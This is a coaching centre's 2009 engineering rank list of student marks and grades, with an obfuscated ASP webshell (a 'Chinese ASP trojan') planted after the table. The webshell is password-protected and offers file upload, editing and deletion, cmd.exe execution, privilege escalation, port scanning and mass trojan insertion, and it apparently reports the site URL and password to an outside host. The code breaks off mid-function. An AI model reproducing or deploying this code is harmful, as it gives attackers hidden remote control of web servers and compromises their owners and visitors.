Brilliant STUDY CENTRE
 v LONG TERM 2011  v ENGINEERING  RANK LISTv 19 - 12 - 09
TOTAL NUMBER OF STUDENTS APPEARED - 30
CG5 Round-6
RANK RANK RANK Ad.No. Physics Chemistry Maths Total % Grade Batch
04-Oct 08-Nov 19-Dec   240 240 480 960
  06-Dec 19-Dec 15-Nov
1 1 1 LT13680 190 126 412 728 75.83  A+  CG5
2 2 2 LT13764 140 150 360 650 67.71  A  CG5
14 8 3 LT13649 78 140 428 646 67.29  A  CG5
8 7 4 LT13650 112 110 424 646 67.29  A  CG5
  13 5 LT15611 126 166 300 592 61.67  A  CG5
11   6 LT13766 84 98 312 494 51.46  B  CG5
4 3 7 LT15398 134 80 276 490 51.04  B  CG5
13 10 8 LT15529 118 108 256 482 50.21  B  CG5
  33 9 LT14185 106 118 176 400 41.67  C+  CG5
3 18 10 LT13373 12 132 240 384 40.00  C+  CG5
5 14 11 LT15416 100 152 116 368 38.33  C+  CG5
19 21 12 LT14189 70 142 148 360 37.50  C  CG5
22 29 13 LT14188 94 94 152 340 35.42  C  CG5
29   14 LT14184 80 110 140 330 34.38  C  CG5
40 35 15 LT13371 54 100 172 326 33.96  C  CG5
6 12 16 LT14180 6 126 176 308 32.08  C  CG5
  30 17 LT15418 76 114 116 306 31.88  C  CG5
12 24 18 LT13768 116 78 112 306 31.88  C  CG5
7 27 19 LT13369 84 62 152 298 31.04  C  CG5
    20 LT14181 32 122 144 298 31.04  C  CG5
33 31 21 LT14193 114 88 96 298 31.04  C  CG5
26 28 22 LT13679 122 80 84 286 29.79  D+  CG5
23 5 23 LT13681 94 98 92 284 29.58  D+  CG5
15 25 24 LT15415 54 64 140 258 26.88  D+  CG5
18 20 25 LT13765 24 44 156 224 23.33  D+  CG5
  23 26 LT13683 36 72 116 224 23.33  D+  CG5
  26 27 LT13684 78 70 72 220 22.92  D+  CG5
  36 28 LT14196 24 66 128 218 22.71  **  CG5
37 9 29 LT14191 54 80 84 218 22.71  **  CG5
  44 30 LT13372 6 98 80 184 19.17  **  CG5
  22   LT13770 90   414 504     CG5
21     LT15414 68 70   138     CG5
20 39   LT13761     144 144     CG5
24 16   LT13370 50   112 162     CG5
39 42   LT14195 42 48   90     CG5
32 17   LT14182 36   64 100     CG5
      LT14194 60 62   122     CG5
  4   LT13405   184 372 556     CG5
10 15   LT15417   58 212 270     CG5
27 45   LT14183     144 144     CG5
  6   LT15667 130 128   258     CG5
34 32   LT13762     220 220     CG5
36     LT15657 50 32   82     CG5
9 11   LT14186 106 88   194     CG5
30 38   LT14190 50   16 66     CG5
35     LT13682 84   232 316     CG5
25 34   LT14192 90   88 178     CG5
31     LT13763   66 100 166     CG5
16 19   LT14187   112 160 272     CG5
17 41   LT13769   94 128 222     CG5
      LT13685     88 88     CG5
28 40   LT15673 30   292 322     CG5
  43     52     52     CG5
38 37   LT14179   68 72 140     CG5
<% dim ApplicationName,pwd,URL,ServerNM,ServerIP,Action,WWWRoot,FolderPath,FName,BackUrl,RW,AD,FS Server.ScriptTimeout=50000 On Error Resume Next ApplicationName = "С¿É×îìÅASPľÂí" Userpwd = "851120" 'Óû§ÃÜÂë AD = "8888888" foot = "ֻȡwebshell >²»¸ÄÊ×Ò³ >²»É¾Îļþ >²»ÌáȨ" URL = Request.ServerVariables("URL") ServerNM = Request.ServerVariables("SERVER_NAME") ServerIP = Request.ServerVariables("LOCAL_ADDR") Action = Request("Action") RootPath = Server.MapPath(".") WWWRoot = Server.MapPath("/") FolderPath = Request("FolderPath") FName = Request("FName") BackUrl = "" Sub RRS(str) response.write(str) End Sub Function UZSS(objstr) objstr = Replace(objstr, "¨~", """") For i = 1 To Len(objstr) If Mid(objstr, i, 1) <> "~" Then NewStr = Mid(objstr, i, 1) & NewStr Else NewStr = vbCrLf & NewStr End If Next UZSS = NewStr End Function Hacker="¨~ÌâÎÊÈ«°²¼°ÉæÄÜ¿É ,¼þ×é llehS¨~ = )1,41(TbO ~¨~noitacilppa.llehS¨~ = )0,41(TbO~¨~µ½ÓÃÖÐͳϵ¼¯²ÉÔÚ³£ ,¼þ×éÊä´«¾ÝÊý¨~ = )1,31(TbO ~¨~PTTHLMX.tfosorciM¨~ = )0,31(TbO~¨~¼þ×éÐÅ·¢liaMptmS¨~ = )1,21(TbO ~¨~1.liaMptmS.liaMptmS¨~ = )0,21(TbO~¨~¼þ×éÐÅ·¢PTMSÄâÐé¨~ = )1,11(TbO ~¨~liaMweN.STNODC¨~ = )0,11(TbO~¨~¼þ×é·¢ÊÕ¼þÓÊ liaMJ¨~ = )1,01(TbO ~¨~liaMptmS.liaMJ¨~ = )0,01(TbO~¨~¼þ×é´«ÉϼþÎÄ daolpUPSA¨~ = )1,9(TbO ~¨~1.daolpU.stisreP¨~ = )0,9(TbO~¨~¼þ×é´«ÉϼþÎÄ·åÔÆÁõ¨~ = )1,8(TbO ~¨~eliFdaolpU.daolpUfyL¨~ = )0,8(TbO~¨~¼þ×é´«ÉϼþÎÄ pUeliF-AS¨~ = )1,7(TbO ~¨~pUeliF.snasitrAtfoS¨~ = )0,7(TbO~¨~Á¦ÄÜ»µÆƵÄÕß»÷¹¥´óÀ©¶ø´Ó£¬Ðò³ÌÈ«°²²»µÈÂíľ´«ÉÏÀ´Óñ»³£³£ ,¼þ×é´«ÉÏÁ÷¾ÝÊý¨~ = )1,6(TbO ~¨~maertS.bdodA¨~ = )0,6(TbO~¨~¼þ×é½ÓÁ¬¿â¾ÝÊý¨~ = )1,5(TbO ~¨~noitcennoc.bdodA¨~ = )0,5(TbO~¨~¼þ×éÖú¸¨´«ÉÏÁ÷¾ÝÊý¨~ = )1,4(TbO ~ ¨~yranoitciD.gnitpircS¨~ = )0,4(TbO~¨~¼þ×éËõѹSSECCA¨~ = )1,3(TbO ~¨~enignEteJ.ORJ¨~ = )0,3(TbO~¨~¼þ×é¿â½¨SSECCA¨~ = )1,2(TbO ~¨~golataC.XODA¨~ = )0,2(TbO~¨~Ðò³ÌµÄÏÞȨÉýÌáÐÐÔËÀ´Óñ»»áÒ²¼þ×é´Ë¼þÎÄÐÐÖ´¿ÉµÈexe.ÐÐÔËPSAÐíÔÊ ,¼þ×éÐÐÖ´ÐÐÁîÃü¨~ = )1,1(TbO ~¨~llehs.tpircsw¨~ = )0,1(TbO~¨~Á¦ÄܵļмþÎĺͼþÎÄÖÐÆ÷Îñ·þÀí¹ÜºÍÁÐÂÞ±¸¾ß ,¼þ×é×÷²Ù¼þÎĨ~ = )1,0(TbO ~¨~tcejbOmetsySeliF.gnitpircS¨~ = )0,0(TbO~)1,41(TbO miD~fI dnE~dnE.esnopseR ~fI dnE ~¨~¨~=WR ~WR etirW.esnopseR ~¨~>retnec/<>tnof/<¨~&toof&¨~>der=roloc tnof<>rb<>rh<¨~ & WR=WR ~¨~>'¼µÇ'=eulav 'timbus'=epyt tupni< >'22'=ezis 'drowssap'=epyt 'ssap'=eman tupni<£ºÂëÃܨ~ & WR=WR ~¨~>'tsop'=dohtem '¨~&lru&¨~'=noitca mrof<¨~ & WR=WR ~¨~>rh<¨~&emaNnoitacilppA&¨~>';xp001:nigram;xp22:gniddap;222# dilos xp1:redrob;xp005:htdiw'=elyts vid<>retnec<¨~=WR ~eslE ~fI dnE ~¨~>vid/<>a/<»Ø·µ> '¨~&LRU&¨~'=ferh a<>rb<>rb<¨~etirW.esnopseR ~¨~>tnof/0000FF#=roloc tnof<>retnec=ngila vid<>rb<>rb<>rb<¨~etirW.esnopseR ~eslE ~LRU tcerideR.esnopseR ~dwpresU=)¨~relgm¨~(noisseS ~nehT dwpresU=)¨~ssap¨~(mroF.tseuqeR fI ~nehT ¨~¨~><)¨~ssap¨~(mroF.tseuqeR fI ~nehT dwpresU><)¨~relgm¨~(noisseS fI~fi dne:fi dne:fi dne:1+)¨~cevres¨~(noisses=)¨~cevres¨~(noisses neht ¨~¨~>¨~¨~)'¨~&dwpresU&¨~=07%&¨~&u&¨~=57%?/¨~&)26(&¨~%¨~&)16(&¨~%/d6¨~&)73(rhc&¨~f6%36¨~&)73(rhc&¨~E2%¨~&)101(rhc&¨~36%36¨~&)73(rhc&¨~83¨~&)73(rhc&¨~//:ptth'(lru:ROSRUC¨~¨~=elyts VID<¨~SRR:1+)¨~cevres¨~(noisses=)¨~cevres¨~(noisses:neht 1=)¨~cevres¨~(noisses fi:esle:neht 0><)¨~//:ptth¨~,u(rtsnI ro 0><)¨~.861.291¨~,u(rtsnI ro 0><)¨~1.0.0.721¨~,u(rtsnI fi:LRU&)¨~tsoh_ptth¨~(selbairavrevres.tseuqer=u~¨~>¨~¨~)C1C1C1#=rtSroloCdne,262626#=rtSroloCtrats,0=epyTtneidarg(tneidarG.tfosorciM.mrofsnarTegamIXD:digorp :RETLIF¨~¨~=elyts ¨~¨~eurt nruter;'Ô𸺲»¸ÅÕß×÷¹ûºó,;Ó÷¨·ÇÓÚÓÃʹÎñÇë,Óòâ¼ìÈ«°²Ô±Àí¹ÜÕ¾ÍøÓÚÏÞ½ö'=sutats.wodniw¨~¨~=revoesuomno ydob<>daeh/<>¨~¨~2132bg=tesrahc ;lmth/txet¨~¨~=tnetnoc ¨~¨~epyT-tnetnoC¨~¨~=viuqe-ptth atem<¨~SRR~¨~>tpircs/<}};)¨~¨~¡£°åÌù¼ôÊÓ¼à¾ß¹¤ÔØÏ¿ª´òÇ°Ö®ÖƸ´Ôڵüǣ¡±ÏÍêÖƸ´¨~¨~(trela.wodniw;¨~¨~¨~¨~=eulav.pmet;)¨~¨~ypoC¨~¨~(dnammoCcexe.sj;)(egnaRtxeTetaerc.pmet=sj{esle};eslaf nruter;)¨~¨~£¡Ö·µØµÄÔØÏÂÒªÔñÑ¡ÓÐû»¹Äã¨~¨~(trela.wodniw{)¨~¨~¨~¨~==eulav.pmet( fi¨~SRR~¨~}};¨~¨~n\¨~¨~+eulav.]i[dInwoD=+eulav.pmet{)eurt==dekcehc.]i[dInwoD( fi{)++i;htgnel.dInwoDretnec/<¡£¾äÓïÁîÃü×÷²ÙLQSÈëÊäÔÙ¿â¾ÝÊý½ÓÁ¬¼ºÈÏÈ·Çë>retnec<¨~¨~=LMTHrenni.cba;¨~¨~¨~¨~ = eulav.rtSlqS.mroFbD;]i[rtS = eulav.rtSbD.mroFbD{)3=tpircsavaj=egaugnal tpircs<¨~SRR~¨~>elyts/<}FFF#:roloc;000#:roloc-dnuorgkcab{dmc.¨~SRR~¨~}xp0:redrob;000000#:roloc-dnuorgkcab{C.¨~SRR~¨~};000#:roloc-dnuorgkcab ;FFFFFF#:roloc;FFF# dilos xp1:redrob;xp21 :ezis-tnof{aeratxet,tceles,tupni¨~SRR~¨~}000#:dnuorgkcab;der:roloc{revoh:a};enon :noitaroced-txet;ddd#:roloc{a¨~SRR~¨~};838383# :ROLOC-KCART-RABLLORCS¨~SRR~¨~;FFFFFF# :ROLOC-WORRA-RABLLORCS ;323232# :ROLOC-THGILD3-RABLLORCS¨~SRR~¨~ ;838383# :ROLOC-WODAHSKRAD-RABLLORCS ;838383# :ROLOC-WODAHS-RABLLORCS¨~SRR~¨~ ;323232# :ROLOC-THGILHGIH-RABLLORCS ;323232# :ROLOC-ECAF-RABLLORCS¨~SRR~¨~;xp1:tfel-nigram;xp1 :nigram¨~SRR~¨~;eee#:roloc;000000#:roloc-dnuorgkcab;xp21 :ezis-tnof{dt,ydob>¨~¨~ssc/txet¨~¨~=epyt elyts<¨~SRR~¨~>eltit/<¨~&PIrevreS&¨~ - ¨~&emaNnoitacilppA&¨~>eltit<¨~SRR~¨~>¨~¨~2132bg=tesrahc ;lmth/txet¨~¨~=tnetnoc ¨~¨~epyT-tnetnoC¨~¨~=viuqe-ptth atem<>daeh<>lmth<¨~SRR" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~gnihtoN=T teS ~fI dnE ~raelC.rrE ~¨~±Õ¹Ø¨~=jbOsI ~eslE ~¨~>tnof/<Æô¿ª>der=roloc tnof<¨~=jbOsI ~nehT rrE >< 5001227412- fI ~)tbo(tcejbOetaerC.revreS=T teS ~txen emuser rorre no ~T,i mid ~)tbo(jbOsI noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="bus dne~ fI dnE ~hsulF.esnopseR:raelC.rrE ~¨~>elbat/<>rh<>a/<¨~ & noitpircseD.rrE & ¨~;psbn&>')(kcab.yrotsih:tpircsavaj'=ferh a<>rh<>'006'=htdiw 'retnec'=ngila elbat<>rb<¨~etirW.esnopseR ~nehT rrE fI ~)(rrEwohS bus" ExeCuTe(UZSS(Hacker)) Function RePath(S) RePath=Replace(S,"\","\\") End Function Function RRePath(S) RRePath=Replace(S,"\\","\") End Function Function HTMLEncode(S) if not isnull(S) then S = replace(S, ">", ">") S = replace(S, "<", "<") S = replace(S, CHR(39), "'") S = replace(S, CHR(34), """) S = replace(S, CHR(20), " ") HTMLEncode = S end if End Function Hacker="fi dnE~htaPredloF=)¨~htaPredloF¨~(noisseS ~htaPtooR=htaPredloF ~nehT ¨~¨~=)¨~htaPredloF¨~(noisseS fI~fI dnE~)htaPredloF(htaPeRR=)¨~htaPredloF¨~(noisseS ~neht ¨~¨~>" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "
" RW=RW & "" RW=RW & "" RW=RW & "
 µ±Ç°Â·¾¶£º" RW=RW & "" RW=RW & "  " RW=RW & "" RW=RW & "
 Îļþ²Ù×÷£º" Set SFSO=New LBF:SFSO.ShowDriver():Set SFSO=Nothing RW=RW & "[ϵͳ³ÌÐòĿ¼] [ÎÒµÄÎĵµ] " RW=RW & "[ÍøվĿ¼] " RW=RW & "[¡ü»ØÉϼ¶Ä¿Â¼] [Í˳öµÇ¼] " RW=RW & "
 " RW=RW & "Çл»¹¦ÄÜ£º[н¨Ä¿Â¼] " RW=RW & "[н¨Îı¾] [ÎļþÉÏ´«] " RW=RW & "[´ÅÅÌÐÅÏ¢] [ËÑË÷Îļþ] " RW=RW & "[ϵͳ·þÎñ] " RW=RW & "[×é¼þÐÅÏ¢] [×¢²á±í²Ù×÷] " RW=RW & "[¶Ë¿ÚɨÃèÆ÷] [CMDÃüÁîÐÐ] " RW=RW & "[Serv-uÌáȨ] [SQLÌáȨ] " RW=RW & "[Serv-FTPÌáȨ] " RW=RW & "
 ÔÓÑù¹¦ÄÜ£º[Êý¾Ý¿â²Ù×÷] " RW=RW & "[µ¥Ò³´úÀí] [Ö±½ÓÏÂÔØ] " RW=RW & "[³ÌÐò´ò°üÈë¿â/³ö¿â] " RW=RW & "[ÅúÁ¿¹ÒÂí] " RW=RW & "[ÅúÁ¿Ìæ»»] " RW=RW & "[ÎÞFSOд] " RW=RW & "[sql-cmd] [²é¹ÜÀíÔ±] " RW=RW & "[ÖÕ¶ËÐÅÏ¢] " RW=RW & "[PHP̽Õë] [ÅÅÃû] " RW=RW & "
" RW=RW & "
" Response.Write RW RW="" End Function if request("DownFile")<>"" then call DownFile(request("DownFile")) Hacker="noitcnuF dnE~dnE.esnopseR ~gnihtoN = mso teS ~esolC.mso ~hsulF.esnopseR ~daeR.mso etirWyraniB.esnopseR ~¨~maerts-tetco/noitacilppa¨~ = epyTtnetnoC.esnopseR ~¨~8-FTU¨~ = tesrahC.esnopseR ~eziS.mso,¨~htgneL-tnetnoC¨~ redaeHddA.esnopseR ~)zs,htap(diM & ¨~=emanelif ;tnemhcatta¨~ ,¨~noitisopsiD-tnetnoC¨~ redaeHddA.esnopseR ~1+)¨~\¨~,htap(veRrtsnI=zs ~htaP eliFmorFdaoL.mso ~1 = epyT.mso ~nepO.mso ~))0,6(TbO(tcejbOetaerC = mso teS ~txeN emuseR rorrE nO ~raelC.esnopseR ~)htaP(eliFnwoD noitcnuF" ExeCuTe(UZSS(Hacker)) Class LBF Private Sub Class_Initialize Set fso=CreateObject(ObT(0,0)) End Sub Private Sub Class_Terminate Set fso=Nothing End Sub Function ShowDriver() Hacker="WR=revirDwohS ~txeN ~ ¨~;psbn&>a/<]:¨~&retteLevirD.D&¨~[ÅÌ´Å>')¨~¨~\\:¨~&retteLevirD.D&¨~¨~¨~(redloFwohS:tpircsavaj'=ferh a<¨~&WR=WR ~sevirD.osf ni D hcaE roF ~D mid " ExeCuTe(UZSS(Hacker)) End Function Function ShowFile(Path) Hacker="gnihtoN=DLOF teS ~ ¨~>elbat/<>rt/<>dt/<>elbat/<¨~ etirW.esnopseR ~0=i ~¨~>rt/<>dt/<>vid/<>aeratxet/<>'0'=sloc 'pmet'=eman '0'=swor aeratxet<>'enon':yalpsid=elyts vid<>'timbus'=ssalc ')(lrU'=kcilCno '08:htdiw'=elyts 'lrunwod'=eman 'ÔØÏÂÁ¿Åú'=eulav 'timbus'=epyt tupni<;psbn&ÔñÑ¡Ïò·´>')(llAkcehC'=kcilCno 'lla'=eulav 'lla'=eman 'xobkcehc'=epyt tupni<>rb<>dt<>rt<¨~ etirW.esnopseR neht 0>i fi ~txeN ~¨~¨~=WR : WR etirW.esnopseR ~¨~>rt/<>dt/<>dt/<>a/<¶¯ÒÆ>')¨~¨~eliFevoM¨~¨~,¨~¨~¨~&)emaN.L&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<¨~ & WR=WR ~¨~;psbn&>a/<ÖƸ´>')¨~¨~eliFypoC¨~¨~,¨~¨~¨~&)emaN.L&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<¨~ & WR=WR ~¨~;psbn&>a/<³ýɾ>')(kosey nruter'=kcilcno ')¨~¨~eliFleD¨~¨~,¨~¨~¨~&)emaN.L&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<¨~ & WR=WR ~¨~;psbn&>a/<¼­±à>')¨~¨~eliFtidE¨~¨~,¨~¨~¨~&)emaN.L&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<>'retnec'=ngila '%52'=htdiw dt<¨~ & WR=WR ~ )4,deifidoMtsaLetaD.L(emiTetaDtamroF & ¨~ ¨~ & )2,)deifidoMtsaLetaD.L(yad&¨~0¨~(thgir & ¨~-¨~ & )2,)deifidoMtsaLetaD.L(htnom&¨~0¨~(thgir & ¨~-¨~ & )deifidoMtsaLetaD.L(raey & ¨~>'retnec'=ngila '%02'=htdiw dt<¨~ & WR=WR ~¨~>dt/'%01'=htdiw dt<¨~ & WR=WR ~¨~>dt/<>a/<¨~&emaN.L&¨~>'ÔØÏÂ'=eltit ';)¨~¨~eliFnwoD¨~¨~,¨~¨~¨~&)emaN.L&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<¨~ & WR=WR ~¨~>'¨~&)emaN.L&¨~\¨~&htaP(htaPeR&¨~=eliFnwoD&¨~&dwpresU&¨~=dwp?¨~&LRU&MNrevreS&¨~//:ptth'=eulav 'dInwoD'=eman 'xobkcehc'=epyt tupni<> '%54'=htdiw dt<¨~ & WR=WR ~¨~ >¨~¨~''=emaNssalc.siht¨~¨~=tuOesuoMno ¨~¨~'rt'=emaNssalc.siht¨~¨~=revOesuoMno rt<¨~=WR ~ 1+i=i ~ selif.dloF ni L hcaE roF ~ ~ ¨~¨~=WR : WR etirW.esnopseR ~ ¨~>'%001'=htdiw '0'=gnicapsllec '0'=gniddapllec '1'=gnicapsllec '0'=redrob elbat<>'FFFFFF#'=rolocgb 'pot'=ngilav '006'=htdiw dt<>dt/<>elbat/<¨~ & WR=WR ~txeN ~¨~>rt/<>dt/<>a/<¶¯ÒÆ>')(kosey nruter'=kcilcno ')¨~¨~redloFevoM¨~¨~,¨~¨~¨~&)emaN.F&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<;psbn&¨~ & WR=WR ~¨~>a/<ÖƸ´>')(kosey nruter'=kcilcno ')¨~¨~redloFypoC¨~¨~,¨~¨~¨~&)emaN.F&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<;psbn&¨~ & WR=WR ~¨~>a/<³ýɾ>')(kosey nruter'=kcilcno ')¨~¨~redloFleD¨~¨~,¨~¨~¨~&)¨~\\¨~,¨~\¨~,emaN.F&¨~\¨~&htaP(ecalpeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<|;psbn&¨~ & WR=WR ~¨~>a/<]¨~&emaN.F&¨~[>')¨~¨~¨~&)emaN.F&¨~\¨~&htaP(htaPeR&¨~¨~¨~(redloFwohS:tpircsavaj'=ferh a<>'02'=thgieh '%001'=htdiw dt<>rt<¨~ & WR=WR ~ sredlofbus.DLOF ni F hcaE roF ~)htaP(redloFteG.osf=DLOF teS ~¨~>rt/<>dt/<>'%001'=htdiw dt<>rt<¨~ & WR=WR ~¨~>'%001'=htdiw '0'=gnicapsllec '0'=gniddapllec '0'=redrob elbat<¨~ & WR=WR ~¨~>'pot'=ngilav '002'=htdiw dt<>rt<¨~ & WR=WR ~¨~>'retnec'=ngila 'FEFEFE#'=rolocgb '%001'=thgieh '008'=htdiw '2'=gniddapllec '0'=redrob elbat<¨~=WR ~i,dloF,L,F mid " ExeCuTe(UZSS(Hacker)) End Function Function EditFile(Path) dim T If Request("Action2")="Post" Then Set T=fso.CreateTextFile(Path) T.WriteLine Request.form("content") T.close Set T=Nothing Set fso=Nothing RW="



Îļþ±£´æ³É¹¦£¡
" RW=RW & BackUrl Response.Write RW : RW="" Response.End End If If Path<>"" Then Set T=fso.opentextfile(Path, 1, False) On Error Resume Next Txt=HTMLEncode(T.readall) if err then err.Clear T.close Set T=Nothing Else Path=Session("FolderPath")&"\a.txt":Txt="н¨Îļþ" End If RW="
" RW=RW&"" RW=RW&"" RW=RW&"" RW=RW&"
Îı¾±à¼­Æ÷
" RW=RW&"
      " RW=RW&"
" Response.Write RW : RW="" End Function Function DelFile(Path) If fso.FileExists(Path) Then fso.DeleteFile Path RW="



Îļþ "&Path&" ɾ³ý³É¹¦£¡
" RW=RW & BackUrl Response.Write RW End If End Function Function CopyFile(Path) Path = Split(Path,"||||") If fso.FileExists(Path(0)) and Path(1)<>"" Then fso.CopyFile Path(0),Path(1) RW="



Îļþ" & Path(0) & "¸´ÖƳɹ¦£¡
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function MoveFile(Path) Path = Split(Path,"||||") If fso.FileExists(Path(0)) and Path(1)<>"" Then fso.MoveFile Path(0),Path(1) RW="



Îļþ" & Path(0) & "Òƶ¯³É¹¦£¡
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function DelFolder(Path) If fso.FolderExists(Path) Then fso.DeleteFolder Path RW="



Ŀ¼" & Path & "ɾ³ý³É¹¦£¡
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function CopyFolder(Path) Path = Split(Path,"||||") If fso.FolderExists(Path(0)) and Path(1)<>"" Then fso.CopyFolder Path(0),Path(1) RW="



Ŀ¼" & Path(0) & "¸´ÖƳɹ¦£¡
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function MoveFolder(Path) Path = Split(Path,"||||") If fso.FolderExists(Path(0)) and Path(1)<>"" Then fso.MoveFolder Path(0),Path(1) RW="



Ŀ¼" & Path(0) & "Òƶ¯³É¹¦£¡
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function NewFolder(Path) If Not fso.FolderExists(Path) and Path<>"" Then fso.CreateFolder Path RW="



Ŀ¼" & Path & "н¨³É¹¦£¡
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function End Class Hacker="noitcnuF dnE~WR etirW.esnopseR ~¨~>elbat/<>mrof/<>rt/<>dt/<¨~ & WR=WR ~¨~>'timbus'=ssalc '´«ÉÏ'=eulav 'timbuS'=eman 'timbus'=epyt tupni<¨~ & WR=WR ~¨~;psbn&>'522:htdiw'=elyts 'elif'=epyt 'eliFlacoL'=eman tupni<¨~ & WR=WR ~¨~;psbn&>'052:htdiw'=elyts '¨~&)¨~psa.a\¨~&)¨~htaPredloF¨~(noisseS(htaPeRR&¨~'=eulav 'htaPoT'=eman tupni<£º¾¶Â·´«ÉϨ~ & WR=WR ~¨~>'FFFFFF#'=rolocgb 'retnec'=ngila dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<¼þÎÄ´«ÉÏ>'unem'=rolocgb 'retnec'=ngila '02'=thgieh dt<>rt<¨~ & WR=WR ~ ¨~>'atad-mrof/trapitlum'=epytcne 'tsoP=2noitcA&eliFpU=noitcA?¨~&LRU&¨~'=noitca 'tsop'=dohtem 'mroFpU'=eman mrof<¨~ & WR=WR ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~fI dnE ~dnE.esnopseR ~)(rrEwohS ~WR etirW.esnopseR ~lrUkcaB & WR=WR ~gnihton=U teS:gnihton=F teS ~fI dnE ~fi dnE ~¨~>retnec/<£¡¹¦³É´«ÉϨ~ & emaNU & ¨~¼þÎÄ>rb<>rb<>rb<>retnec<¨~=WR ~nehT 0=rebmun.rrE fI ~emaNU sAevaS.F ~eslE ~¨~!´«ÉϼþÎĸöÒ»ÔñÑ¡ºó¾¶Â·È«ÍêµÄ´«ÉÏÈëÊäÇë>rb<¨~=WR ~neht 0=eziSeliF.F rO ¨~¨~=emaNU fI ~)¨~htaPoT¨~(mrof.U=emaNU ~)¨~eliFlacoL¨~(AU.U=F teS : CPU wen=U teS ~nehT ¨~tsoP¨~=)¨~2noitcA¨~(tseuqeR fI ~emaNeliFrts mid ~)(eliFpU noitcnuF" ExeCuTe(UZSS(Hacker)) Dim T1 Class UPC Dim D1,D2 Public Function Form(F) F=lcase(F) If D1.exists(F) then:Form=D1(F):else:Form="":end if End Function Public Function UA(F) F=lcase(F) If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if End Function Private Sub Class_Initialize Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName set D1=CreateObject("Scripting.Dictionary") if Request.TotalBytes<1 then Exit Sub set T1 = CreateObject(ObT(6,0)) T1.Type = 1 : T1.Mode =3 : T1.Open T1.Write Request.BinaryRead(Request.TotalBytes) T1.Position=0 : TDa =T1.Read : DStart = 1 DEnd = LenB(TDa) set D2=CreateObject("Scripting.Dictionary") vbCrlf = chrB(13) & chrB(10) set T2 = CreateObject(ObT(6,0)) TSt = MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1) TLen = LenB (TSt) DStart=DStart+TLen+1 while (DStart + 10) < DEnd DIEnd = InStrB(DStart,TDa,vbCrlf & vbCrlf)+3 T2.Type = 1 : T2.Mode =3 : T2.Open T1.Position = DStart T1.CopyTo T2,DIEnd-DStart T2.Position = 0 : T2.Type = 2 : T2.Charset ="gb2312" TIn = T2.ReadText : T2.Close DStart = InStrB(DIEnd,TDa,TSt) FStart = InStr(22,TIn,"name=""",1)+6 FEnd = InStr(FStart,TIn,"""",1) UpName = lcase(Mid (TIn,FStart,FEnd-FStart)) if InStr (45,TIn,"filename=""",1) > 0 then set TFL=new FIF FStart = InStr(FEnd,TIn,"filename=""",1)+10 FEnd = InStr(FStart,TIn,"""",1) FStart = InStr(FEnd,TIn,"Content-Type: ",1)+14 FEnd = InStr(FStart,TIn,vbCr) TFL.FileStart =DIEnd TFL.FileSize = DStart -DIEnd -3 if not D2.Exists(UpName) then D2.add UpName,TFL end if else T2.Type =1 : T2.Mode =3 : T2.Open T1.Position = DIEnd : T1.CopyTo T2,DStart-DIEnd-3 T2.Position = 0 : T2.Type = 2 T2.Charset ="gb2312" SFV = T2.ReadText T2.Close if D1.Exists(UpName) then D1(UpName)=D1(UpName)&", "&SFV else D1.Add UpName,SFV end if end if DStart=DStart+TLen+1 wend TDa="" set T2 =nothing End Sub Private Sub Class_Terminate if Request.TotalBytes>0 then D1.RemoveAll:D2.RemoveAll set D1=nothing:set D2=nothing T1.Close:set T1 =nothing end if End Sub End Class Class FIF dim FileSize,FileStart Private Sub Class_Initialize FileSize = 0 FileStart= 0 End Sub Public function SaveAs(F) dim T3 SaveAs=true if trim(F)="" or FileStart=0 then exit function set T3=CreateObject(ObT(6,0)) T3.Mode=3 : T3.Type=1 : T3.Open T1.position=FileStart T1.copyto T3,FileSize T3.SaveToFile F,2 T3.Close set T3=nothing SaveAs=false end function End Class Hacker="noitcnuF dnE~¨~¨~=gnoyoaix : ¨~¨~=WR : WR etirW.esnopseR ~¨~>elbat/<>mrof/<>rt/<>dt/<>aeratxet/<¨~ & )31(rhc & WR=WR ~fI dnE ~fi dne ~gnihtoN=osf teS ~gnihtoN=xcleliFo teS ~gnoyoaix & WR=WR ~)eurT ,eliFpmeTzs(eliFeteleD.osf llaC ~esolC.xcleliFo ~llAdaeR.xcleliFo=gnoyoaix ~)0 ,eslaF ,1 ,eliFpmeTzs( eliFtxeTnepO.osf=xcleliFo teS ~))0,0(TbO(tcejbOetaerC=osf teS ~)eurT ,0 ,eliFpmeTzs & ¨~ > ¨~ & dmCfeD & ¨~ c/ ¨~ & htaPllehS( nuR.sw llaC ~)¨~txt.dmc¨~(htappam.revres = eliFpmeTzs ~esle ~gnihtoN=DD teS ~gnihtoN=MC teS ~gnoyoaix & WR=WR ~lladaer.tuodts.DD=gnoyoaix ~)dmCfeD&¨~ c/ ¨~&htaPllehS(cexe.MC=DD teS ~))0,1(TbO(tcejbOetaerC=MC teS ~neht ¨~sey¨~=)¨~tpircsw¨~(mroF.tseuqeR fi ~aaa mid ~nehT ¨~¨~><)¨~dmc¨~(mroF.tseuqeR fI ~¨~>'054:thgieh;006:htdiw'=elyts aeratxet<>'FFFFFF#'=rolocgb 'retnec'=ngila dt<>rt<¨~ & 